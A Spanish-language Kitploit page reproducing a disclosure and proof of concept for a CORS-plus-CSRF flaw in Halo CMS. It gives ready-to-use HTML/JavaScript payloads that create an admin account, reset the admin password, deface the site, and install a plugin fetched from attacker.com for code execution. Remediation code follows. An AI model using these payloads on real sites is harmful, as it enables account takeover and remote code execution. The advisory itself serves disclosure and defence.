Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
halo-cors-csrf-CVE-2026-67921 — Prueba de concepto que demuestra una configuración incorrecta combinada de CORS y una omisión de la protección CSRF en Halo CMS, lo que permite ataques de falsificación de solicitudes entre sitios para crear usuarios administradores, cambiar contraseñas, instalar complementos y modificar contenido. | Kitploit
Herramientas/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Ver Repositorio
hace 16 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto que demuestra una configuración incorrecta combinada de CORS y una omisión de la protección CSRF en Halo CMS, lo que permite ataques de falsificación de solicitudes entre sitios para crear usuarios administradores, cambiar contraseñas, instalar complementos y modificar contenido.

Compartir

CVE-2026-67921: Configuración incorrecta de CORS en Halo CMS + Bypass de Protección CSRF — Ataque Combinado

Resumen

Existe una vulnerabilidad crítica de ataque combinado en las versiones de Halo CMS hasta la 2.25.4 debido a dos configuraciones de seguridad incorrectas:

  1. Configuración incorrecta de CORS: La política CORS permite * (cualquier origen) con credentials: true
  2. Bypass de Protección CSRF: Todos los endpoints de API (/api/**, /apis/**) están excluidos de la protección CSRF

Cuando se combinan, permiten a un atacante realizar ataques de Cross-Site Request Forgery desde cualquier origen, evadiendo la protección de Same-Origin Policy que CORS está diseñado para hacer cumplir.

Puntuación CVSS v3.1: 9.3 (Crítica)
Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Política de Dominio Cruzado Permisiva) CVE-2026-67921

ID CVE:

Versiones Afectadas

  • Halo CMS ≤ 2.25.4
  • Todas las versiones con CORS habilitado y CSRF deshabilitado para rutas de API

Detalles de la Vulnerabilidad

Vulnerabilidad 1: Configuración incorrecta de CORS

Archivo: application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← CUALQUIER origen
    configuration.setAllowCredentials(true);                // ← Permitir cookies
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

Impacto: Cualquier sitio web puede realizar solicitudes autenticadas a la API de Halo con las cookies del usuario.

Vulnerabilidad 2: Bypass de Protección CSRF

Archivo: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Rutas de API excluidas de CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

Impacto: Las solicitudes de API no requieren tokens CSRF, incluso cuando se autentican mediante cookies de sesión.


Mecanismo del Ataque

Por Qué Esta Combinación es Peligrosa

ProtecciónSoloCombinada
CORS *Bloquea credenciales (impuesto por el navegador)¡Credenciales permitidas!
Sin CSRFProtegido por Same-Origin Policy¡Evadido por CORS!
ResultadoSeguroCSRF completo

El Flujo del Ataque

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  El atacante aloja una página maliciosa en evil.com         │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  El navegador de la víctima visita evil.com                 │
│  → El formulario se envía automáticamente a la API de Halo  │
│  → El navegador incluye la cookie de sesión automáticamente │
│  → CORS: Origen * + credentials: true → ¡Solicitud permitida!│
│  → CSRF: /apis/** excluido → ¡No se requiere token!         │
│  → La solicitud se ejecuta con los privilegios de la víctima│
└─────────────────────────────────────────────────────────────┘

Escenarios de Explotación

Escenario 1: Crear Usuario Administrador

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Escenario 2: Cambiar la Contraseña del Administrador

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

Escenario 3: Instalar Plugin Malicioso (RCE)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

Escenario 4: Modificar el Contenido del Sitio

root@kitploit:~
<html>
<body>
<script>
  // Cambiar el título del sitio
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

Prueba de Concepto

Prueba CSRF Básica

Crea csrf-test.html:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Esta página intentará modificar la configuración de Halo cuando se cargue.</p>

<script>
// Probar CSRF modificando el título del sitio
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">¡ÉXITO! El ataque CSRF funcionó.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Falló: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Pasos de Verificación

  1. Abre csrf-test.html en un navegador mientras estás conectado a Halo
  2. Comprueba si el título del sitio cambió
  3. Revisa la consola del navegador para ver las cabeceras CORS:
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Análisis de Impacto

AtaqueImpactoSeveridad
Crear usuario administradorCompromiso total del sistemaCrítica
Cambiar contraseña del administradorToma de control de la cuentaCrítica
Instalar plugin maliciosoEjecución remota de códigoCrítica
Modificar contenidoDesfiguraciónAlta
Eliminar datosPérdida de datosAlta
Robar datosDivulgación de informaciónAlta

Remediación

Solución 1: Restringir Orígenes CORS

root@kitploit:~
// Reemplazar el comodín con orígenes específicos
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

Solución 2: Habilitar CSRF para Rutas de API

root@kitploit:~
// Eliminar las exclusiones de API del matcher CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Solución 3: Usar Autenticación con Token Bearer

Para los endpoints de API, prefiere la autenticación con token Bearer en lugar de cookies de sesión, que no son vulnerables a CSRF.


Referencias

  • Vendedor: https://github.com/halo-dev/halo
  • CWE-352: https://cwe.mitre.org/data/definitions/352.html
  • CWE-942: https://cwe.mitre.org/data/definitions/942.html

Cronología

  • Fecha de Descubrimiento: 2026-07-10
Descargar herramienta